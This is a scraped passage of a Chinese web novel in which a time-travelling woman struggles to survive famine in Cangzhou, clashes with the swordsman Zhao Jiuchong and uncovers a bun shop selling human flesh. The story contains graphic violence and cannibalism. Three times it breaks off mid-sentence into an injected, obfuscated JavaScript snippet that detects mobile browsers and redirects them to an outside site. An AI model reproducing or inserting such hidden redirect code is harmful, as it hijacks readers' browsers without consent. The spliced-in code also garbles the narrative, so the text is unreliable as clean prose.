《[宋穿]在乱世抱紧死对头大腿》 1. 乱世 乾祐元年正月, 沧州,城南,一条阴暗狭窄的巷子里, 一个锦衣华服、肥头大耳的少年站在巷子口不怀好意地笑着,他胖成桶的身子挡住了巷子口的天光。 在他的身后,还跟着两个人高马大的护卫。 护卫们凶神恶煞地盯着巷子里的这一群脏兮兮的小乞丐。 富贵公子笑意盈盈。 他指了指护卫手里拿着的葱油饼,神气十足地说:“本公子这里有一张饼,你们几个小贱种打一架,谁打赢了,本公子就把这张饼赏赐给他。” 匍匐在富贵公子身前的几个小乞丐对视一眼,又看着那张焦黄的葱油饼,忍不住咽了咽口水。 很快, 就有人朝身边的人动手了。 当第一个人动手以后,混战成了一件自然而然的事情,几个小乞丐们扭打在一起,惨叫声四起。 富贵公子看见小乞丐们撕打成一团,乐得哈哈大笑起来。 “对!就这样打!使劲儿啊!” “戳他的眼睛!” 富贵公子击掌大笑着,为小乞丐们“呐喊助威”。 他们越是流血,他笑得越是欢实。 眼前的这些落魄的小孩子们,这一刻不像是人,像是被放在擂台上供人观赏的斗鸡。 不一会儿, 一个小乞丐便被同伴戳瞎了眼睛,另一个被挤到墙壁上撞得头破血流,还有一个在经历数人的狠命殴打后,趴在地上一动不动,不知道是昏过去了还是已经丧命。 这些衣衫褴褛的瘦弱小孩们很快就变得体无完肤。 红色的血液从长满黑色冻疮的皮肤上流出来,皮肉翻开,出现更鲜亮的深粉色。 但是他们浑然不觉似的,依旧在为了那张香喷喷的葱油饼努力打倒身边的人。 - 在巷子的最里面,堆满杂物的后面, 一双满是恐惧的眼睛,正静静地注视着这里发生的一切。 - 很快, 一个小乞丐获胜了,喘着粗气从地上爬起来。 他踩过同伴的身体,露出一点讨好的笑容,小心翼翼地朝富贵公子走去。 富贵公子哼笑两声,满是肥肉的脸颤了颤。 猛地,他伸出脚将那小乞丐踹飞出去。 小乞丐惨叫一声,撞在了墙上。 富贵公子哈哈大笑起来,然后从护卫手中拿过那张油纸包着的葱油饼,张开嘴咬了一大口。 黄色的油脂和食物残渣粘在了他的脸上和嘴唇上,让他看起来更丑陋了。 接着,他随手一抛,将手里的剩下的半张饼扔到了地上。 他高高在上地大笑说:“赏你的,小贱种。” 小乞丐奄奄一息地倒在地上,目光仍然紧紧地盯着那半张被油炸得焦黄的饼。 他费力地翻过身子,伸出瘦弱的脏兮兮的小手努力去够,慢慢挪动朝那张饼爬去。 富贵公子也许是终于看够了戏,心满意足地哈哈大笑着离开了。 - 巷子深处, 贺岁愉听到外面安静下来,才扶着坑坑洼洼的泥墙,蹑手蹑脚地从竹篓后面钻出来。 她饿得头晕眼花,又蹲了太久,腿早已经蹲麻了,刚站起来,就一个趔趄,差点摔倒在地上。 扶着泥墙刚稳住身子,一不留神,已经打结粘成一缕一缕的头发被支出来的竹篾挂到,疼得她倒吸一口凉气。 她抬头一看,那个小乞丐仍然趴在地上,比乌龟还慢地朝那半块葱油饼挪过去。 贺岁愉的目光定定地落在那张焦黄的饼上。 她走到跟前,弯腰捡起了它。 小乞丐见贺岁愉要抢他的食物,当即惊叫一声,大喊:“那是我的!我的!” 他想要从地上爬起来,但是奈何伤得太重,挣扎了一下,又“扑通——”一声,摔回了地面上。 贺岁愉已经饿得听不清他说的话了,只是大睁着眼睛,眼珠一动不动地盯着这张冒着油光的饼子。 它诱人的香味直往鼻孔里钻。 她控制不住地咽了一下口水。 她捏着饼,拿到嘴边正要咬下去的时候,脑海中忽然闪过那肥头大耳的少爷刚刚大张着嘴啃饼子,吃得满嘴油光的恶心样子。 不由得动作一顿。 小乞丐在她背后挣扎着,愤怒地拍打着地面,用难听的话大声咒骂贺岁愉,要她放下他好不容易得来的食物。 贺岁愉被他突然放大的吼叫声吓了一跳,拿着饼子转身就跑。 小乞丐大概是气疯了,不知道哪里来的力气,扑上来抓住了贺岁愉的腿。 贺岁愉吓得尖叫一声。 小乞丐哭得眼泪鼻涕糊了一脸,黄色的鼻涕粘在脸上已经溃烂的冻疮上,额头上被撞出来的鲜血也从黑色的冻疮上流过,滴落在泥土中。 他也不擦,只是红着眼睛冲贺岁愉绝望地嘶吼:“放下我的饼子!” 贺岁愉挣扎了一下,没挣开。 她本来想一脚踹开这个小乞丐,但是又想起他刚刚被那只肥猪踹飞撞在墙上的惨样,到底没狠下心。 被油炸过的葱油饼放了太久,已经变得软塌塌的了。 贺岁愉捏着饼子的力道放大了些许,在饼子上印出深深的指窝。 犹豫再三。 最终,她还是转身把那张饼子扔到他面前,撑着一口气,用哑了的嗓子恶声恶气道:“不过半块别人吃过的破饼子而已,还给你就是了!” 小乞丐的眼睛追随着饼子落回地面,没工夫再跟贺岁愉计较,松开了抓着她腿的手,连忙捡那半块饼子去了。 很快, 贺岁愉听到了咀嚼食物的声音,甚至,她又闻到了葱油饼诱人的香味。 她咽了下口水,按了按早已经饿扁了的肚子。 她无力靠在脏兮兮的墙壁上,发了会儿呆。 过了一会儿,她回过神来,气闷地踢了一脚脏兮兮的墙壁,离开了这条狭窄昏暗的巷子。 - 天色阴沉,黑压压一片,刮着刺骨的寒风,冻得贺岁愉直打哆嗦。 因为饥饿,她脑中昏昏沉沉,只拖着沉重的步伐,在大街上漫无目的地走着。 她穿越过来已经好几天了,经历现实的不断捶打,从一开始的震惊和恐惧到现在已经坦然接受了。 明明前一天她还在和舍友吐槽食堂的饭难吃,说好第二天去外面大吃一顿,结果第二天她就穿越到了一个连饭都吃不上的地方。 贺岁愉向其他人打听之后,推测出来,这大概是历史上那个黑暗混乱、人性泯灭的五代十国时期。 从前她只是在史书上看到过这句话,但是她当真的身处这个时代时,才知道,现实远远比她的想象要可怕得多。 - 几天前她醒过来时,是在一间四处漏风的低矮土地庙里。 正月天气,这具身体的主人只穿着一身脏兮兮的单衣,蜷缩在无人的破庙角落里。 贺岁愉就是被破庙门口刮进来的寒风冻醒的。 这具身体大概是染了风寒病死的,所以她现在的嗓子都是哑的。 不过,哑了的嗓子也有一个好处——听起来男女莫辨。 加之她身形高挑,所以旁人都会误以为她是个男的。 这让贺岁愉更有安全感一些。 在乱世活下来是一件很艰难的事情,如果是女子,就更艰难。 - 时局动荡,百姓穷苦,沧州的乞丐多得能赶上地上的蚂蚁。 果真是人命如蝼蚁的时代。 城南的野菜刚从土里冒头,就被挖光了,许多人家已经开始吃野草和树叶了,实在饿得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有什么东西猝不及防地撞了她一下,她的意识从一片黑暗和混沌中,缓慢地苏醒过来。 她模糊听到头顶上方传来沙哑的“哎哟——”一声, 接着,有什么东西在她左前方砸下来,发出“砰——”的一声。 她慢慢地把头抬起一点,视线穿过破烂的衣袖,看见一个穿着体面、白发苍苍的老头子摔在她面前,趴在黄泥上,摔了个狗吃屎。 老头儿从地上爬起来,抹了一把脸上的泥巴,气得破口大骂:“狗杂种!瞎了你的狗眼,要死也不换个地方,成心窝在这个地方,害得老子摔跤!” “妈的,出门就让老子撞上,真是晦气!” 正月天气,路边常有冻死的人。 老头儿没放在心上,随口骂了两句,一边系着裤腰带,一边骂骂咧咧地走远了。 被冻得手脚僵硬、意识涣散的贺岁愉,慢慢扭过头,看向他刚刚走过来的方向—— 巷子里是一家窑子。 门口还站着一个穿着破夹袄、涂着红胭脂揽客的年轻女人。 贺岁愉想起那老头子刚刚白发苍苍、满脸皱纹的样子,不由得蹙起眉头。 一把年纪路都走不稳了,还要出来嫖。 与此同时,她还想起了,刚刚那老头儿腰间挂着的鼓鼓囊囊的钱袋子。 早上那张焦黄冒油的葱油饼又出现在了她的脑海里,还有那一笼热气腾腾、香气扑鼻的包子…… 一个隐蔽的念头,像滕蔓一样,慢慢爬进她的脑中。 她扶着墙站起身,沿着老头儿刚刚离开的方向,跟了过去。 2. 结仇 也算是老天襄助,医馆门口不知为何在闹事,聚了一大堆人看热闹,老头儿也钻进人堆里看起了热闹。 贺岁愉瞄准了人,悄无声息跟着钻进人堆里。 她尽量表现得自然一些,在拥挤的人堆里一点点挪动着,缓慢地朝那个老头儿靠近。 终于,她挤到了老头身后,小心翼翼地朝他腰间的钱袋子伸出了手。 很快,她摸到了。 大概是前面发生了什么,人群忽然爆发出一阵哄笑声,一时间更混乱了。 贺岁愉的心扑通扑通狂跳个不停。 毕竟,第一次做这种事情,她自然很紧张。 她强迫自己尽量镇定,趁乱一把摘下了他腰间的钱袋子,转身就走。 但是,对方很快就发现腰间的钱袋子不见了。 “有人偷了我的钱袋子!”老头大叫着,“抓小偷!抓小偷啊!” 贺岁愉不敢回头,也不敢逃跑得太过明显。 于是,她疾步在人群中穿随着,耳中嗡鸣一片,胸腔里的心脏也像是要跳出来。 她已经拿到钱了,很快就能有吃的。 在慌乱和恐惧中,贺岁愉只能怀着这样的美好愿景来支使自己不要害怕。 她并不贪心,为了保险起见,从钱袋子里掏出一把银钱攥在手里,便想要把剩下的钱连同钱袋子一起扔出去。 可是,她刚一伸手要抛,就被人抓住了胳膊。 贺岁愉的美梦破碎了。 她回过头来,看见了一张剑眉星目、棱角分明的脸—— 一个高大英武的年轻男人抓住了她。 “还想跑?”青年横眉,厉声呵斥道。 她慌乱地用力挣扎,“放开我!” 但对方抓住她胳膊的手纹丝不动,像是铁钳烙在她身上一样,她没能挣开。 青年穿着一身青色长袍,脸型棱角分明,看起来正气凛然。 他语气严肃地警告她:“把钱还给老人家!” 此时,周围人都已经发现了贺岁愉这个小偷,他们围在她身边议论纷纷。 贺岁愉在众人的围观和羞辱下涨红了脸,脸上像是火烧火燎。 她咬紧了牙关,根本不敢去看他们脸上的表情。 - 老头听说小偷抓住了,连忙气喘吁吁地跑了过来。 他先从贺岁愉手里一把抢回去他的钱袋子,又从她另一只手里,抠走她紧攥着的银锞子。 老头儿扑上来打贺岁愉,“狗杂种敢偷老子的钱!不想活了你!看老子不打死你!” 贺岁愉瞳孔一震,吓得连忙往年轻男人身后躲。 “等等——” 青年开口想要阻止,但是老头根本听不进去。 老头个子不高,短胳膊短腿,被气急了,隔着青年就往扑上着打人。 “老子打死你!” 但贺岁愉哪里会让他打到自己,即便被青年抓住一只胳膊,仍然身形灵敏,使出浑身解数躲避。 二人好一番纠缠。 一不留神,气急败坏的老头一巴掌拍在了年轻男人脸上。 “啪——”一声脆响。 几人都愣住了。 就连旁观人群都看傻了。 老头手劲不小,青年脸上顿时留下了鲜红的印子。 “够了!”青年脸色青黑,厉喝一声。 老头见打了青年,吓得脸色都白了,连连道:“对不住,实在对不住!老头子我一时怒气上头,失了手,误伤少侠。” 贺岁愉惊讶过后,便忍不住幸灾乐祸,“让你瞎眼帮这种人,遭报应了吧!” 青年面有怒色,抓着贺岁愉胳膊的手力道又大了几分,厉声斥责:“你这小贼好手好脚的,竟然无耻地偷老人家的钱,你还有理了!” 贺岁愉啐了一口,“他也配一声‘老人家’?这老货刻薄狠毒、为老不尊,别人都活不下去了,他还有闲钱去窑子里玩女人,借我点钱买吃的有什么不对?” 青年诧异地看向老头。 老头像是被踩了尾巴的猫似的,脸色大变,语无伦次地反驳:“你你你休得污蔑我!你哪只眼睛看见我进窑子里了?而且你这是借吗?你这是偷!” 贺岁愉一边努力挣扎胡乱踢打,一边咬牙切齿地大骂青年,“你帮这种人,你以为,你又是什么大义凛然的好人!蛇鼠一窝!虚伪至极!” “休要强词夺理!”青年教她骂得恼了,沉声说,“无论如何,偷东西就是你的不对。” 他沉思片刻说:“还是把你交由官府处理吧,免得你再祸害别人。” 贺岁愉大惊:“你!” - 医馆门口之前闹事的时候,人们报了官。 贺岁愉他们几人争执时,官差已经到了。 待官差解决了医馆门口的事情以后,有人招来了官差。 老头立刻指着贺岁愉道:“差爷,就是他,刚刚偷了我的钱!你们快把他抓进牢里!让这小子好好吃点苦头!” 贺岁愉浑身脏兮兮的,身形高挑,声音嘶哑,已经辨不出来男女,所以他下意识以为这小贼是个男的。 官差瞥了贺岁愉一眼,高声道:“一并带走!” 青年当即将贺岁愉交给了官差。 被押走之前,贺岁愉听到那老头感激不已地问青年:“少侠如何称呼啊?” 那青年朗声回答:“鄙姓赵,叫我赵九重就好。” - 后面的话贺岁愉听不清了,她隔着重重人影回头看了一眼,目光锁在那青年身上,像是要把姓赵的这张脸刻进脑海里一样。 明明差一点就成功了。 就差一点…… 他一个吃穿不愁的大少爷,根本就不知道她为了一口吃的,为了活下来,有多么的艰难,就这样剥夺了她摇摇欲坠的希望。 赵九重是吧? 她记住了。 断人钱财,无异于害人父母,从今以后他们便是结下死仇了。 贺岁愉咬牙切齿地想。 别让她再遇到他。 - 贺岁愉被关进了大牢。 牢里昏暗潮湿,到处都散发着发霉的味道,还夹杂着粪便的恶心臭味。 自从穿越过来,她的底线就一再降低。 为了活下去,再脏再臭,好像她都可以忍受。 人在极度饥饿和寒冷的情况下,在连最基本的生存都没有办法保证的时候,是没有闲心去在乎自己干不干净、道不道德的。 穿越过来的这些日子,残酷的现实已经让贺岁愉深刻意识到,作为一个底层,想要在乱世活下去,道德是最没有用的东西。 所以她并不后悔自己做的事情,她只是运气不好而已,遇上了那个姓赵的,要怪就怪那个姓赵的横插一脚,不然她就成功了。 贺岁愉坐在潮湿的稻草上,静静地靠在冰冷硌人的墙角。 她不知道自己会被如何处置,这里的狱卒很凶,除了呵斥与咒骂,唯一让她感到慰藉的,她终于吃上饭了。 虽然牢里的饭是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977643|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馊的,但是吃了这些,起码可以让她活下去。 就这样,贺岁愉在大牢里待了不知道多少个日夜,她透过那一角小小的洞口,窥见外面的天,黑了又亮,亮了又黑。 耳边都是牢里犯人的怪叫与喊冤,搅得她日夜不安,往往刚睡着就又被吓醒。 她时常能闻到自己身上的臭味,和牢里的腐烂气息一起钻进她的鼻腔,呛进她的肺里。 不知是什么原因,送饭的人来得越来越少,从一天两次,变成一天一次,到后面两三天才来一次。 牢里每天都在死人。 明明前一天还在砸门,质问狱卒为什么不送饭,一夜过去,人就躺在地上一动不动了,不知道是被饿死的还是冻死的。 贺岁愉一开始还会惊恐,后来便渐渐习惯了尸体腐烂发臭的气味。 也许,她也会在这里死去。 她躺在腐烂的稻草上,苦中作乐地想,如果肉·体在这里发烂发臭,灵魂能够回到久违的故乡,也是一件幸事。 但是每每这个念头浮现时,她又会很快清醒过来—— 不行,她绝不能这样窝囊地死去,她要活下去,她还要找姓赵的报仇。 人死万事空,她一定要活下去。 活下去,才有无限的可能。 不知过了多少天, 狱卒突然在一个很平常的清晨,打开了牢门,对她说:“你可以走了。” 陛下大赦天下,如贺岁愉一般,犯了些小罪的人,都是此次赦免的对象。 贺岁愉楞楞地坐着,好一会儿都没反应过来,日日夜夜盼望和祈祷的,突然就实现了,太不真切了。 狱卒给另外一间牢房开了门以后,回过头发现她还坐在地上没有出来,不耐烦道:“怎么,大牢还没蹲够?” “不不不,蹲够了,”贺岁愉立刻站起来,失神地喃喃道,“蹲得够够的了。” - 她被狱卒领着,如行尸走肉般地走出大牢,看见了暌违已久的光明,才觉得早已经麻痹的五感渐渐恢复了一点。 她好像活过来了。 贺岁愉在水池边简单地清洗了一下,然后朝着城南的方向慢慢走着。 忽然,她看见了一个有点眼熟的身影进了一间客栈。 贺岁愉目光一凛。 她看见了那个人的侧脸。 ——是那天出现在医馆门口多管闲事的那个姓赵的。 她远远瞧见,青年将一匹威风凛凛的赤色大马拴在了客栈门口,正巧,楼下替客人们看东西的小二被人叫走了。 恨意攀上心头,贺岁愉捏了捏拳头,心一横,大步朝那家客栈跑去。 她手脚麻利地解开了绳子,牵走了那人的马。 她将这匹马牵到了马贩子那里。 贺岁愉知道自己太过落魄,说这匹马是自己的,老板必然不信,便编了一套说辞出来,声称是在路上遇到劫匪逃出来了,主家落了难,就剩了这么一匹马,急着用钱,便吩咐她牵出来卖了。 她从老板的态度里看出,这匹马确实是一匹难得的好马,即便她的说辞漏洞百出,老板出于某些私心,还是买下了这匹来源可疑的马。 但是老板只愿意出十两银子,不到市价的一半。 贺岁愉并不太在乎这匹马是不是卖出了值当的价钱,她太需要钱了,而且这也不是她的马。 姓赵的很快就会发现马丢了,她急着脱手,所以便一口答应了下来。 卖了马,她立刻揣着十两银子,快步朝城南走去。 3. 饥荒 快出城北时,贺岁愉看见,好几家门口都站着官差。 她隐隐约约听到他们在说最近的盗贼猖獗,好几户人家家里都进了贼,偷了不少银子和粮食。 入了城南那一片地界, 贺岁愉看着荒芜的景象愣了下,这比她进大牢之前看到的荒凉多了。 二月,按理来说应该是春草发芽、树木发叶的时候,但是周围的草被人连根挖走了,树木都是光秃秃的,就连树皮都被扒光了。 满目都是灰扑扑的,看不见一点绿色。 贺岁愉心头有些不祥的预感。 她走得又渴又饿,摸了摸怀里揣着的十两银子,想买个包子,却发现街上只有寥寥几家店铺开着。 她走了好远,找了好几家,才找到一家开着的包子铺。 这家铺子的门面很小,临街开着。 老板坐在门口磨一把又大又厚的菜刀,菜刀的刃雪白锃亮,折射出寒光。 当老板拿起菜刀时,贺岁愉看见刀刃上照出了自己的影子。 见贺岁愉一直盯着那把大菜刀看,老板抬起头,憨厚地冲贺岁愉笑了笑,“这菜刀前几天才磨过,剁了几天肉,刀又钝了。” 贺岁愉没说话,收回了目光。 老板也低下头继续磨菜刀。 精明干练的老板娘站在蒸屉后面,正在给前面买包子的两个男人拿包子。 送走前面的两个男人,老板娘的目光落在了贺岁愉的身上。 不知为何,贺岁愉莫名有一种被毒蛇盯上的错觉,不由得心神一凛。 待她要细细看时,刚刚的那种感觉却又消失不见了。 老板娘鹅蛋脸,柳叶眉,身材高挑微胖,在附近一众面黄肌瘦、蓬头垢面的女人里,称得上是个美人了,只是看起来有些高冷,脸上没什么表情。 “要什么?”老板娘面无表情地问。 贺岁愉哑了的嗓子仍然没好。 这么冷的天气,买不起药,天天挨饿受冻也好不了。 以她如今的艰难处境,能活下去就是万幸,哪里顾得上嗓子的事情。 她用嘶哑的声音回答说:“来一个肉包子。” 老板娘没动,瞥了邋里邋遢的贺岁愉一眼,说了句:“二十文一个。” “你说什么?”贺岁愉几乎怀疑自己的耳朵,“二十文一个?” 老板娘点了点头,“对,二十文。” 贺岁愉难以接受,一个肉包子而已,又不是金子做的,管她要这么多钱? 她皱着眉头问:“以前不都是三文钱一个吗?” 老板娘冷冰冰地回答:“如今的物价就是这样。” 贺岁愉简直要怀疑,她是不是在大牢里蹲了几十年,所以物价才翻了这么多倍。 她刚要退却,想着干脆不吃了,又不是没挨过饿,就再饿一顿。 肚子却在此时发出响亮又绵长的一声“咕——” 像是以此表达对主人虐待它的不满。 贺岁愉揉着饿得发疼的肚子,犹豫了很久,咬牙问:“那素包子多少钱?” “三十文。” “素包子怎么比肉包子还贵?”贺岁愉惊诧无比。 如今的物价简直到了难以理解的地步。 如果不是附近没有别的开着的摊子,她绝不会上这家来买。 想着刚刚入账的十两银子,贺岁愉犹豫再三,还是奢侈了一回。 “给我拿一个肉包子吧。” “客官不是本地人吧?”老板娘将包子递给贺岁愉时,状似无意地多问了这么一句。 贺岁愉顿时警惕心起,把对方的话在心里琢磨了一圈,装作闲聊似的说:“前些日子跟着我在衙门当差的大哥去别地儿办差事了,弄得一身邋里邋遢的,这不,刚回来嘛!” 贺岁愉接过小小的肉包子,闻到了扑鼻而来的油脂香气,有些发馋地咽了咽口水。 她太久没闻过肉腥了。 但是一想到这肉包子的价格,就肉疼得都舍不得吃,心道:真是抢钱。 她转身离开,将注意力从包子上移开以后,总感觉背后有人盯着她。 大概是包子铺那两个总让人觉得有点奇怪的老板和老板娘。 她背后直冒寒气,脚下不由得加快了步伐。 此时,她心里那种怪异的感觉,也越来越强烈了。 走了一段路以后,贺岁愉才从高度紧张中恢复过来。 她掰开包子一看,肉馅儿倒是很足,皮薄馅大,肉沫冒着湿淋淋的油光,就她掰开包子皮的功夫,油汤就滴到了地上。 她低头正要咬,忽然从巷子里窜出来一个黑影,抢了她手里的包子就跑。 贺岁愉大惊失色,追了几步,却根本追不上。 又是一个饿疯了的小乞丐。 无可奈何,她只能自认倒霉。 - 贺岁愉还遇到了刚刚在她前面买包子的男人。 男人衣着打扮像是家境不错的,不然也不能舍得买这么贵的肉包子。 他咬着手上的肉包子,吃得满嘴流油。 贺岁愉路过时,隐隐约约听到他和旁边的人说话—— “沧州今年的饥荒严重,叫他们再运一批粮食过来,到时候至少可以再翻十倍卖出去。” 贺岁愉脚步顿了一下。 饥荒? 沧州闹饥荒了? 她上个月进去之前,见到城南满街的乞丐,还以为乱世就是这样的,原来是饥荒的前兆。 想起史书中关于饥荒的可怕记载,贺岁愉一阵心慌。 - 贺岁愉发现,街上的乞丐明显比一个月之前更多了。 她脚步匆匆,不敢停留,生怕一不小心又被抢。包子已经被抢了,身上剩下的银子可不能再有什么闪失。 转角时,她不小心被什么东西挡了一下,差点摔了一跤。 一扭头,才发现是一个人躺在地上。 贺岁愉草草看了一眼,大概是个上了年纪的老乞丐,衣衫褴褛,花白的头发胡子像野草一样蓬着,瘦得只剩骨头架子,躺在地上一动不动,不知道是活的还是死了。 她面色发白,快步离开了。 贺岁愉心里越发的不平静,想要回到自己之前熟悉的那间破庙,这里诡异的一切都让她感到害怕。 路上,经过一间快要垮塌的茅屋门口, 贺岁愉看见,一个脏兮兮、瘦得皮包骨头的小孩光着屁股坐在地上刨土吃。 小孩儿抓着一把土往嘴里塞,梗得脖子伸出去很长,费劲地吞下去以后,又往嘴里喂了第二把。 贺岁愉猛地打了个寒噤,捂紧了怀里剩下的银钱。 - 终于, 贺岁愉走到了城南那座荒僻狭窄的破庙门前。 她走到门口摇摇欲坠的那扇木门前,忽然听到了破庙里传来猫儿似的细弱的婴儿啼哭声。 她小心翼翼走进去,发现一个面黄肌瘦的瘦小女人,抱着一个婴儿靠在腐朽的柱子上,一动不动,好像睡着了。 婴儿的哭声很微弱,不知道是哭了多久,嗓子都哭哑了。 即便是睡着了,这么大的声音,也该被吵醒了。 贺岁愉心里浮现一个不大好的猜测。 她小心翼翼地走近,拍了拍女人的肩膀,但是女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977644|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人毫无反应。 她用颤抖的右手去感受女人的鼻息,却只触到了一片安静的冰凉。 贺岁愉放下手,目光落在瘦小的婴孩身上。 良久,她轻轻叹息一声。 突然,外面传来了杂乱的脚步声和说话的声音。 “就是在这间破庙里,有个婆娘抱了个孩子,我看到她的时候,她都饿得走不动了,这会儿应该差不多了……” 差不多什么? 那人后面说的话贺岁愉没有听清,但眼下她也来不及想那么多,在那群人进来之前,她慌忙从破庙后面因为垮塌而出现的那个洞钻出去了。 但是贺岁愉并没有走远。 她想看看这里这么偏僻,这群人忽然来这里做什么。 她就躲在破庙后面,透过墙上的裂缝,静静地窥视着里面。 两个男人一个女人先后进了破庙,当走在后面的那个男人和女人抬起头时,贺岁愉看清了他们的脸。 是她今天刚见过的包子铺的那对夫妻。 贺岁愉瞳孔一震,惊讶得捂住了嘴。 破庙里, 老板娘看着正在哭的婴儿,“哟,小东西还是活的。” 说着,她把婴儿抱了起来。 她腾出一只手探进烂衣服做成的襁褓里,捏了捏婴儿的脸。 她语气轻飘飘的,透着几分雀跃的感慨:“真是嫩啊,老娘还没吃过和骨烂,正好今晚给老娘当夜宵。” 婴儿像是感知到周围的可怕氛围,原本沙哑的哭声,猛的大了。 老板娘厌烦地皱了皱眉,捂住了婴儿的脸。 很快,婴儿的哭声消失了。 一墙之隔的破庙后面, 贺岁愉紧紧地捂住嘴,疯狂告诫自己,绝不能在这个时候发出任何声音。 她不知道和骨烂是什么,但她隐隐约约从这个可怕的名字里面窥见了它的含义。 她吓得直发抖,身体几乎站不住。 破庙里, 包子铺的老板弯腰,伸手按了按靠在柱子上已经死了的那个女人的脸,那张憨厚老实的脸上露出诡异的笑容。 他语气有些兴奋:“刚死不久,赶紧扛回去,趁肉还是软的剁成馅儿,骨头拆了烧火。” 他说,要把什么剁成馅儿? 贺岁愉猛地一颤,难以置信地瞪大了眼睛。 她几乎控制不住自己颤抖不已的身体,甚至不敢相信自己听到了什么。 所以,他们家的肉包子是……是人肉做的? 贺岁愉忍不住闭上眼睛。 她的胸口起起伏伏,心绪难平。 怪不得他们家的肉包子舍得放那么多肉,还比素包子便宜。 原来,是因为人命比野草还贱。 贺岁愉一阵后怕。 幸好,她今天走得快,没在包子铺附近逗留。也幸好,那个肉包子被抢了,没被她吃进嘴里。 她想起掰开肉包子以后冒出来的油脂,想起那个拿着肉包子的男人吃得满嘴流油…… 贺岁愉抠着墙,控制不住地干呕起来。 骨节分明的手指掐进了泥巴墙里,粗厉坚硬的黄土和沙石颗粒顶进她的指甲里,但是她却一点都不觉得疼。 今晚的冲击,让她的世界再次天旋地转起来。 突然,“轰——”地一声, 或许是因为她太过激动,没有控制好自己的力气,破庙年久失修,贺岁愉抓着的那块墙壁掉下了一大块泥巴。 破庙里的三个人被惊动,“谁?” 贺岁愉心脏狂跳,几乎要破开胸腔跳出来,她脑子里只有一个念头—— 跑! 4. 求救 贺岁愉一路狂奔,身后两个凶神恶煞的男人一直追着她跑。老板娘大概是守着破庙里死了的女人和被她掐死的婴儿,所以没有来追她。 贺岁愉气喘吁吁,喉咙里被冷气呛得像是刀割一样的疼,但是她根本顾不上那些。 只有不停地跑,一直跑下去,她才能活下来。 想起破庙里那三个披着人皮的畜生,贺岁愉就心里一阵发寒。 “析骸而爨(cuàn),丸土而食,骨立者十之六七。”【注】 原来,这才是真正的乱世。 - 贺岁愉跑着跑着, 突然, 一个高大的身影猛地出现在她面前, 贺岁愉本来还以为是身后那两个男人的同伙,正要转变方向,仔细一看,原来是不久前被她牵走马的苦主。 她一愣神,青年便跨步上前,抓住了她的胳膊,“小贼!可算让我抓住你了!” “说!我的马呢?” 贺岁愉被他抓得身子一晃,惊恐地回头看,那两个男人已经追上了。 她脑海中电光火石划过许多想法—— 比起身后那两个男人,她更愿意相信面前这个姓赵的。虽然对方和她有过节,前段时间亲手把她送进了大牢,但是以他的所作所为来看,对方起码是个好人。 应该……应该是个好人吧…… 逃跑已经来不及了,她顾不得其他,慌慌张张抓住赵九重的胳膊,“救救我,求求你,救救我!” “求少侠救救我!” 她紧紧地抓着他的胳膊,就像抓住了唯一的救命稻草。 “你这小贼又在耍什么花招?”赵九重蹙起眉头。 “我没……” 贺岁愉甚至来不及回答,两个男人就已经追到了跟前。 包子铺的老板和另外一个男人见赵九重生得人高马大,看起来便是有些本事在身上的,于是不敢轻举妄动。 包子铺的老板盯着赵九重说:“还请阁下将她交出来。” 贺岁愉含着泪,连忙冲赵九重摇头,“不、不要,他们会杀了我的。” 包子铺老板眼中划过一抹寒光。 或许是贺岁愉看起来太过可怜,对方看起来又太过强势,即便贺岁愉有前科在身,赵九重犹豫片刻,还是站在了她身前,就像是一堵坚不可摧的墙,挡住了包子铺老板和同伙如狼似虎的凶狠目光。 赵九重看向对面的两个男人,“我若是不交呢?” 包子铺老板和旁边的男人脸色难看,威胁道:“那就别怪我们兄弟俩不客气了。” 赵九重捏了捏拳头,活动了下关节,语气不以为然:“好啊,那就看看我们谁的拳头更硬吧!” 话音刚落,包子铺老板和旁边的男人就朝赵九重扑了过来,赵九重当即上前抵挡,先是一脚踹飞旁边的男人,接着便和包子铺老板扭打起来。 男人皮糙肉厚,没一会儿就爬起来,和包子铺老板围攻赵九重。 包子铺老板和同伙身法凌厉,出手狠辣,显然都是有些本事在身上的,不然也不敢贸然就干这一行。 不过,赵九重也不是吃素的,以一敌二,也不落下风。 贺岁愉在一旁看着,连连惊叹,这姓赵的还真是有一身好功夫,怪不得敢孤身一人闯荡江湖。 包子铺老板知道自己不敌赵九重,便趁着赵九重对付旁边的男人时,在赵九重背后耍阴招,他从腰间摸出来一把银光锃亮的刀子,想要偷袭赵九重。 “小心!”贺岁愉惊呼一声。 赵九重回过头来,眼前寒光一闪,匕首已经逼近,他险险避开,教匕首划烂了衣裳,但幸好没有伤到。 赵九重被包子铺老板的小人行径激怒,大喝一声,一脚踢飞了包子铺老板的匕首,一拳锤在对方胸腹处,将人打飞出去。 没一会儿, 赵九重便赤手空拳将包子铺老板和另一个男人打倒。 两人见赵九重实力强横,知道自己不是对手,连忙屁滚尿流地跑了。 - 两个坏蛋逃跑以后, 赵九重转过身朝贺岁愉走过来。 